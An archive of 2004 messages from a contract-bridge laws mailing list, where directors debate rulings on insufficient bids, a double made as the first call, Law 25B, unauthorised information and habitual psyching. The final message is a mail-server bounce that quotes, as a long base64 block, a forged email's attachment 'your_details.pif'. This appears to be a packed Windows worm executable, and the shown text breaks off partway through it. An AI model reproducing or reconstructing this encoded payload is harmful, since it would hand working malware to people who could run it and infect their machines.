Can you now bid 4H's or 4C's > ?? Good God, no!!! How can I bid one more time when I didn't have my 2H overcall in the first place??? But legally, I don't see any reason why you can't---except that some SO's have regulations against deliberately throwing a board, and bidding on with this hand might be a violation of that regulation. :) > Is there UI that pd intended to bid 4H's or maybe he didn't see the 3S's > and intended to bid 3H's or 2S's ?? Not based on the information you've given. Law 16C2 says that information arising from a withdrawn call is UI (for the offenders), but no call was withdrawn here since the insufficient bid was accepted. If there were some remark or facial expression by your partner that would give some indication as to what he was thinking about, then there would be UI. -- Adam From adam@irvine.com Tue Mar 23 18:06:26 2004 From: adam@irvine.com (Adam Beneschan) Date: Tue, 23 Mar 2004 10:06:26 -0800 Subject: [blml] A question and a ruling In-Reply-To: Your message of "Tue, 23 Mar 2004 12:51:19 GMT." Message-ID: <200403231806.KAA28595@mailhub.irvine.com> David wrote: > Ton Kooijman wrote > >Karel: > > >> Bidding > >> > >> 2C(1) P 2NT P > >> 3H(2) P 4NT P > >> P(3) > >> > >> (1) normal big atifical 2C hand or weak diamonds > >> (2) Ogust reply weak points good suit. Alerted as a big hand natural > >> (3) Passes the RKC ask (they are playing 3041) > >> > >> 4NT makes - opps protest that there is UI which opener acted upon. Your > >call. > > > > > >I read David's answer and I don't understand it. I assume that West not just > >alerted but also did explain the 3H bid. In my opinion there is UI and East > >acted extremely unethical to pass the 4NT bid. Explain yourself David. > > According to note (2) 3H was "alerted as a big hand natural". West > has 'a big hand natural'. Yes, of course it is UI that partner thinks > you have what you have, but how does it affect the bidding? I think there might be some confusion as to who has what. Although the diagram makes it look like West (the one with the balanced 17-count) was the 2C opener, the actual auction, together with all the alerts and explanations, seem a lot more consistent with East (the weak diamond hand) being the 2C opener. Unless there's some strange bidding going on in some parts of the world, I can't imagine West opening that hand with a big 2C (unless it includes balanced 18-counts), and I can't imagine East launching into Blackwood with that rag. Ton appears to be assuming the same thing, since he referred to East passing the 4NT bid although the diagram makes it appear that East *made* the 4NT bid. Karel, could you clear this up? Thanks. -- Adam > S AT9x S Q > H AQ H xx > D AKxx D QJ9xxx > C T9x C Qxxx > > S Kxxxx > H Kxxx > D xx > C xx > > Bidding > > 2C(1) P 2NT P > 3H(2) P 4NT P > P(3) > From schoderb@msn.com Tue Mar 23 18:12:08 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 23 Mar 2004 13:12:08 -0500 Subject: [blml] X as first call References: Message-ID: Is my age beginning to show, or do I remember that the original post was that he "wrote" an "X" ---? Do we now have a change of facts which include bidding cards? Kojak ----- Original Message ----- From: "Laval Dubreuil" To: ; Sent: Tuesday, March 23, 2004 10:09 AM Subject: RE: [blml] X as first call > > > >> The dealer put a X as first call.... When called, he told me: > >> "I was just not there... I have a normal 1C opening." > >> > >> My ruling: > >> > >> Law 25A cannot be applied: he was disturbed and really > >> intended the X and put the intended bid card on table. > > Everyone seemed to agree, so I figured "okay, fair enough." But on > reflection I'm not so sure dealer's double was not inadvertent - "I was > not there" certainly doesn't seem to me as if he *intended* to double. > So why am I wrong? :-) > _______________________________________________________________________ > > I was there and asked the offender. He told he realy thought about the X > when taking this bid card and was just "not there...". IMHO, 25A does not > apply. > > Laval Du Breuil > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Tue Mar 23 22:58:44 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 24 Mar 2004 08:58:44 +1000 Subject: [blml] How Law 25B is not to be used Message-ID: >From the thread "X as first call". David Stevenson total recalled: [snip] >>I seem to remember a WBFLC minute that L25B shall >>not be used to correct an irregularity ... [snip] Sven Pran referenced known to him: >In my own copy of the laws (which I have downloaded >to my computer) I have also systematized references >to all WBFLC minutes known to me so it was a quick >job checking up on this. I found several minutes on >L25B all (as it seemed to me) apparently questioning >the desirability of L25B as such, not how L25B is or >is not to be used. [snip] The 2004 EBU White Book is apparently unknown to Sven. WBF LC minutes (paraphrased in the 2004 EBU White Book) stated how Law 25B is not to be used in the following cases: "A player may not use this Law to recover from an irregularity by partner after [or as] he made the call. He may not use it because of an indication by an opponent about what his next call will be. In effect he may not use it because of information received after the call is made from any other player. However, if a player wished to use this Law because he had just found a thirteenth card in his hand, this would be a legitimate use of this Law. [WBFLC minutes 1998-09-01#4 and #5, reviewed and amended WBFLC minutes 2000-01-11#7 and Schedule 3, also 2000-01-20#3]" and "If an insufficient bid is substituted before the Director has explained the options the premature correction is cancelled. LHO, if he so wishes, may accept the original insufficient bid but not the premature correction. Otherwise the Director explains his options to the offender and allows him to select his action. [WBFLC minutes 1998-08-24#9]" Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Tue Mar 23 22:55:00 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 23 Mar 2004 17:55:00 -0500 Subject: [blml] X as first call In-Reply-To: Message-ID: <1CF58298-7D1D-11D8-A639-0030656F6826@rochester.rr.com> On Tuesday, Mar 23, 2004, at 10:09 US/Eastern, Laval Dubreuil wrote: > I was there and asked the offender. He told he realy thought about the > X > when taking this bid card and was just "not there...". IMHO, 25A does > not > apply. Okay, fair enough. From ereppert@rochester.rr.com Tue Mar 23 23:00:23 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 23 Mar 2004 18:00:23 -0500 Subject: [blml] X as first call In-Reply-To: Message-ID: On Tuesday, Mar 23, 2004, at 13:12 US/Eastern, WILLIAM SCHODER wrote: > Is my age beginning to show, or do I remember that the original post > was > that he "wrote" an "X" ---? Do we now have a change of facts which > include > bidding cards? The original statement was "The dealer put a X as first call." Laval's in the ACBL - where bidding boxes are ubiquitous, but I haven't heard of written bidding being used. From gesta@tiscali.co.uk Tue Mar 23 23:11:41 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 23 Mar 2004 23:11:41 -0000 Subject: [blml] X as first call References: <000001c40fef$48abb730$6900a8c0@WINXP> <015b01c40ffc$a61e37f0$4cf8f0c3@LNV> <000701c410a6$8b62cca0$03d4403e@multivisionoem> <00b801c410c5$ec9a8d90$13f8f0c3@LNV> Message-ID: <005901c4112c$50c4e250$01e3403e@multivisionoem> Grattan Endicott To: ; "BLML" Sent: Tuesday, March 23, 2004 10:21 AM Subject: Re: [blml] X as first call > > > > > +=+ The moment that the double is not both inadvertent > > and substituted as 25A allows, it is cancelled. Law 36 cancels > > it. If LHO calls Law 35B applies. 25B never comes into it. > > ~ Grattan ~ +=+ > > > > You mean 35A I assume. > +=+ Yes, thank you. +=+ < > But it can't be both, applying L25A and L35A. > +=+ Whilst I do not recall a precedent - I doubt one ever came to appeal - I would think it likely we would not wish to apply Law 36 when an inadvertent double is substituted without pause for thought or change of mind. Such a call is presumably not 'made' for the purposes of Law 36, although it may be for discussion whether "any double" must include an inadvertent double as a matter of language. The moment the double is 'made', is not subject to 25A and does not conform to Law 19, Law 36 kicks in and it is cancelled*, that being its status even before the TD arrives on the scene to say so and before the player can have recourse to 25B. He cannot substitute something that does not exist. If LHO calls Law 36 refers us to 35A. ~ G ~ +=+ [* n.b. the wording of 36 - "is cancelled" - is like to the wording of 50 - "is a penalty card". The status exists out of the occurrence. ] From gesta@tiscali.co.uk Tue Mar 23 22:48:41 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 23 Mar 2004 22:48:41 -0000 Subject: [blml] X as first call References: <000301c410e1$813d22d0$6900a8c0@WINXP> Message-ID: <005801c4112c$4fee3160$01e3403e@multivisionoem> Grattan Endicott To: Sent: Tuesday, March 23, 2004 2:55 PM Subject: Re: [blml] X as first call > >> > >> I seem to remember a WBFLC minute that L25B shall not > >> be used to correct an irregularity ... > > +=+ I think the writer has in mind the minute item 3 of 20th January, 2000, and Schedule 3 to the minutes of 11th January 2000. These do not fit exactly to his thought.+=+ << > >In my own copy of the laws (which I have downloaded to my > >computer) I have also systematized references to all WBFLC > >minutes known to me so it was a quick job checking up on this. > >I found several minutes on L25B all (as itseemed to me) > >apparently questioning the desirability of L25B as such, not > >how L25B is or is not to be used. > > > >Frankly, as long as we do have L25B I see no reasons why > >LHO shall not generally enjoy the privilege of accepting or > >refusing a substituted call which does not meet the criteria for > >acceptance under L25A? > > > >> >LHO cannot accept an inadmissible call; there is no > >> >doubt about that. But I find nothing in the laws that prevent > >> > LHO from accepting even an illegal although admissible > >> >call as the substitute for an inadmissible call? On the > >> >contrary Law 25B2 seems to imply that the legality > >> > (including admissibility) of the first call is irrelevant once > >> < LHO accepts the substitute? > >> > +=+ See parallel posting ~ G ~ +=+ From Laval_Dubreuil@uqss.uquebec.ca Tue Mar 23 23:14:29 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Tue, 23 Mar 2004 18:14:29 -0500 Subject: [blml] X as first call In-Reply-To: Message-ID: The original statement was "The dealer put a X as first call." Laval's in the ACBL - where bidding boxes are ubiquitous, but I haven't heard of written bidding being used. __________________________________________________________________ Yes....the first call was made with a "Double" bid card. Laval From svenpran@online.no Tue Mar 23 23:15:59 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 24 Mar 2004 00:15:59 +0100 Subject: [blml] How Law 25B is not to be used In-Reply-To: Message-ID: <000001c4112c$cd5d6620$6900a8c0@WINXP> OK, I looked them up again, and inserted the official WBFLC minutes = below. (You are quite right, I have not acquired the EBU White book, I stick to Norwegian NBO, EBL and to WBF publications except when my NBO recommends other publications.) > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > richard.hills@immi.gov.au > Sent: 23. mars 2004 23:59 > To: blml@rtflb.org > Subject: Re: [blml] How Law 25B is not to be used >=20 >=20 >=20 >=20 >=20 > From the thread "X as first call". >=20 > David Stevenson total recalled: >=20 > [snip] >=20 > >>I seem to remember a WBFLC minute that L25B shall > >>not be used to correct an irregularity ... >=20 > [snip] >=20 > Sven Pran referenced known to him: >=20 > >In my own copy of the laws (which I have downloaded > >to my computer) I have also systematized references > >to all WBFLC minutes known to me so it was a quick > >job checking up on this. I found several minutes on > >L25B all (as it seemed to me) apparently questioning > >the desirability of L25B as such, not how L25B is or > >is not to be used. >=20 > [snip] >=20 > The 2004 EBU White Book is apparently unknown to Sven. >=20 > WBF LC minutes (paraphrased in the 2004 EBU White > Book) stated how Law 25B is not to be used in the > following cases: >=20 > "A player may not use this Law to recover from an > irregularity by partner after [or as] he made the > call. He may not use it because of an indication by > an opponent about what his next call will be. In > effect he may not use it because of information > received after the call is made from any other > player. > However, if a player wished to use this Law because he > had just found a thirteenth card in his hand, this > would be a legitimate use of this Law. > [WBFLC minutes 1998-09-01#4 and #5, reviewed and > amended WBFLC minutes 2000-01-11#7 and Schedule 3, > also 2000-01-20#3]" 1998-09-01: 4. The Committee considered the situation in regard to purposeful corrections of call under Law 25B. The Chairman drew attention to the = effect of Law 25B. It was agreed that the intention of the Committee in = drafting this Law was to permit the correction of a "stupid mistake" (e.g. = passing a cue bid after thinking whether to bid game or slam). It is not the = intention that the Law should be used to allow of rectification of the player's judgment. As the intention of the Committee this statement of intention constitutes an interpretation of the Law. 5. It was also decided that should a player's partner call out of = turn following the player's bid, cancellation of the out-of-turn call does = not re-open the door to a Law 25B purposeful correction; Law 29 now applies. 2000-01-11: 7. Paragraph 4 of the committee's minutes of 1st September 1998 was revisited. The Chairman did not think this actually said what the = committee had intended to say. [Sic!] He and the Secretary were asked to draft a = fresh statement for the committee to consider. (See Schedule 3). Schedule 3 from the Minutes of 11 January 2000 Note concerning Law 25B Note In pursuance of paragraph 7 of the minutes of 11th January 2000, = the committee agrees that under Law 25B changes of call are allowed in the = case of a misjudgement when the first call was made. The player himself = decides that he has misbid. A player is not entitled to change because of his inference as to the probable next call by LHO, nor change his first call = as a reaction to an irregularity occurring after his first call. Examples:=20 1. North opens 1H, East passes, South bids 4H. West comments "I am certainly not passing this". South is not allowed to substitute 2H.=20 2. South opens 2D (Multi). North passes out of turn. The pass not being accepted, it is West's turn to call; South is not allowed to anticipate North's forced pass by changing his call and naming his suit. = 3. North opens 1H and East passes; South bids 2H and then discovers = he only has twelve cards. The card being found, South is allowed to change = his call if he wishes under Law 25B. 2000-01-20: 3 In respect of Law 25B the committee recorded its decision that information received from the action of any other player after a call is made is not authorized for use in deciding to change the call. Such information is unauthorized to the player for that current turn. (See Schedule 3 to minutes of 11th January.) >=20 > and >=20 > "If an insufficient bid is substituted before the > Director has explained the options the premature > correction is cancelled. LHO, if he so wishes, may > accept the original insufficient bid but not the > premature correction. Otherwise the Director explains > his options to the offender and allows him to select > his action. > [WBFLC minutes 1998-08-24#9]" 1998-08-24: 9. Footnote to Law 25B1 The Committee discussed the footnote to Law 25B1. It was held that where = an insufficient bid is prematurely substituted the premature correction is cancelled by the tournament director who then applies Law 27A to allow = the LHO, if he so wishes, to accept the original insufficient bid. If he = does not do so, the Tournament Director explains his options to the offender = and allows him to select his action, applying Law 27B. =20 > Best wishes >=20 > Richard James Hills I have a big problem seeing how any of this (including the quotation = from the EBU white book) can be relevant. There was no action by any other = player at the table subsequent to his opening double before his attempt to = change his call to 1C (or whatever). There was no irregularity by his partner. = We are not discussing a premature correction to an insufficient bid.=20 The closest I get is with WBFLC minute 1998-09-01: The opener realizes = he has made "a stupid mistake" and tries to change his call. According to = this minute that was precisely the reason for introducing Law 25B. BTW, I deduce from the various minutes that WBFLC hasn't even agreed = with themselves how to use Law 25B (see in particular minute 2000-01-11#7). I have found lots of words but no real clarification in the later minutes. I do live in the hope that Law 25B will disappear again, but until that happens we have to recognize it, and Law 25B1 gives offender's LHO the = right to accept any substituted call, strangely enough except when the = replaced call was an insufficient bid, an exception I don't understand raison = d'etre. I am not discussing an offender's right to change his call under Law = 25B; I think this right is ridiculous.=20 I am discussing the right offender's LHO has to accept (almost) any = change of call which comes too late to be acceptable under Law 25A. As long as = we have Law 25B1 I believe we should recognize that right.=20 Sven From gesta@tiscali.co.uk Tue Mar 23 23:20:12 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 23 Mar 2004 23:20:12 -0000 Subject: [blml] How Law 25B is not to be used References: Message-ID: <006701c4112d$809a8fb0$01e3403e@multivisionoem> Grattan Endicott To: Sent: Tuesday, March 23, 2004 10:58 PM Subject: Re: [blml] How Law 25B is not to be used The 2004 EBU White Book is apparently unknown to Sven. WBF LC minutes (paraphrased in the 2004 EBU White Book) stated how Law 25B is not to be used in the following cases: "A player may not use this Law to recover from an irregularity by partner after [or as] he made the call. He may not use it because of an indication by an opponent about what his next call will be. In effect he may not use it because of information received after the call is made from any other player. However, if a player wished to use this Law because he had just found a thirteenth card in his hand, this would be a legitimate use of this Law. [WBFLC minutes 1998-09-01#4 and #5, reviewed and amended WBFLC minutes 2000-01-11#7 and Schedule 3, also 2000-01-20#3]" and "If an insufficient bid is substituted before the Director has explained the options the premature correction is cancelled. LHO, if he so wishes, may accept the original insufficient bid but not the premature correction. Otherwise the Director explains his options to the offender and allows him to select his action. [WBFLC minutes 1998-08-24#9]" Best wishes Richard James Hills +=+ Very helpful +=+ From HarrisR@missouri.edu Wed Mar 24 03:54:44 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Tue, 23 Mar 2004 21:54:44 -0600 Subject: [blml] Psyches Message-ID: We have one habitual psycher in our ocal club. All the regulars know him. His usual partner is of course well aware of his habits. An example: North East South West 2C 2H P P X 2S X 3H X 3S X P P 4C X (all pass) Now 4C doubled goes down enough to give NS a good board. It turns out that West holds about 10HCP and a 6 card heart suit. I was told that during the auction, everyone at the table knew the 2H bid was a psych by the time East pulled the double of 3H to 3S. I was directing, but I was not told about this until the next day. At what point in a partnership does the frequency and nature of the psyching bring us to a partnership agreement? I'm going to be asked to address this question some day, and I don't know what the answer is. What do I do about it when the time comes? (I am directing only about 6 times a year when this partnership is playing.) Help! (This sort of pattern is typical: a psych followed by a new suit bid, sometimes a psych, sometimes a real suit. Partner shows a 2 suited hand, psycher bids the suit he does not hold, runs to the other suit if doubled, once in a while plays in the wrong suit. I do not mean to suggest his partner ever bids as if he knows the first call is a psych, generally he raises if he ought to raise a genuine suit bid.) REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From HarrisR@missouri.edu Wed Mar 24 04:26:44 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Tue, 23 Mar 2004 22:26:44 -0600 Subject: [blml] alerts, questions, answers and UI [was Standard] In-Reply-To: References: Message-ID: I wrote: (snip) >One's methods often require some knowledge of opponent's methods, and that may not be easily available when only a few boards are to be played in a short period of time. People who play odd methods bring a certain amount of trouble on themselves, generating the need for questions that may create UI. > >I've always felt that there is UI and then there is a sort of semi-UI that may be created by the situation. Yeh, I know there is only UI in the laws, but civil and criminal laws get interpreted all the time, and so do bridge laws. (Self defence ought to be justifiable in bridge. Or maybe we need some sort of "unwritten law.") I should have explained more completely what I was trying to get at: Obscure methods provoke questions about bids. It's no surprise that lots of questions get asked, and under those circumstances questions may not carry Information. Those who use such methods should not easily be misled by the questions provoked by their own methods. Likewise, it seems to me that the Information content for the partner of the questioner may be slight or nonexistent. I suggest that, under these circumstances, questions of Law 16A violations may become less clear cut than in other situations. Examples: 1C(alerted), "What's that?" (Ans.) "You mean he might not have ANY clubs??????" Now we all know who has about 6 clubs headed by the AQ or so. (If the questioner doesn't have that holding and becomes a defender, the declaring side is entitled to redress if they are misled and suffer in the play. Somebody needs to get this questioner aside and tell it about the laws of bridge.) 1C(alerted) "Yes?" (Ans.) "Pass" (in what seems normal tempo without vocal emphasis.) Now we don't know anything about the questioner's hand. At least, I don't. Maybe you do. (If the declaring side claims to have been misled, I think they should be told to go soak their heads.) REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From karel@esatclear.ie Wed Mar 24 07:48:09 2004 From: karel@esatclear.ie (Karel) Date: Wed, 24 Mar 2004 07:48:09 -0000 Subject: [blml] A question and a ruling In-Reply-To: <200403231806.KAA28595@mailhub.irvine.com> Message-ID: Yes very sorry (badly presented) I should have put east/west on the bidding - East (weak hand) opens the biding 2C strong or weak diamonds West strong balanced asks with 2NT etc I think there is no question of UI - I was wondering at how you would adjust ?? 12C3 solution and if so what or other ?? K. > >> Bidding > >> > >> 2C(1) P 2NT P > >> 3H(2) P 4NT P > >> P(3) > >> > >> (1) normal big atifical 2C hand or weak diamonds > >> (2) Ogust reply weak points good suit. Alerted as a big hand natural > >> (3) Passes the RKC ask (they are playing 3041) > >> > >> 4NT makes - opps protest that there is UI which opener acted upon. Your > >call. > > > S AT9x S Q > H AQ H xx > D AKxx D QJ9xxx > C T9x C Qxxx > > S Kxxxx > H Kxxx > D xx > C xx > > Bidding > East West > 2C(1) P 2NT P > 3H(2) P 4NT P > P(3) From Mailer-Daemon@ocelot.shadehost.com Wed Mar 24 08:34:51 2004 From: Mailer-Daemon@ocelot.shadehost.com (Mail Delivery System) Date: Wed, 24 Mar 2004 03:34:51 -0500 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: shane@netjak.com This message has been rejected because it has a potentially executable attachment "your_details.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [82.33.170.27] (helo=netjak.com) by ocelot.shadehost.com with esmtp (Exim 4.24) id 1B63qa-0005tI-2h for shane@netjak.com; Wed, 24 Mar 2004 03:34:48 -0500 From: blml@rtflb.org To: shane@netjak.com Subject: Re: Your details Date: Wed, 24 Mar 2004 08:34:41 +0000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0004_00005680.00005919" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: This is a multi-part message in MIME format. ------=_NextPart_000_0004_00005680.00005919 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the attached file. ------=_NextPart_000_0004_00005680.00005919 Content-Type: application/octet-stream; name="your_details.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_details.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 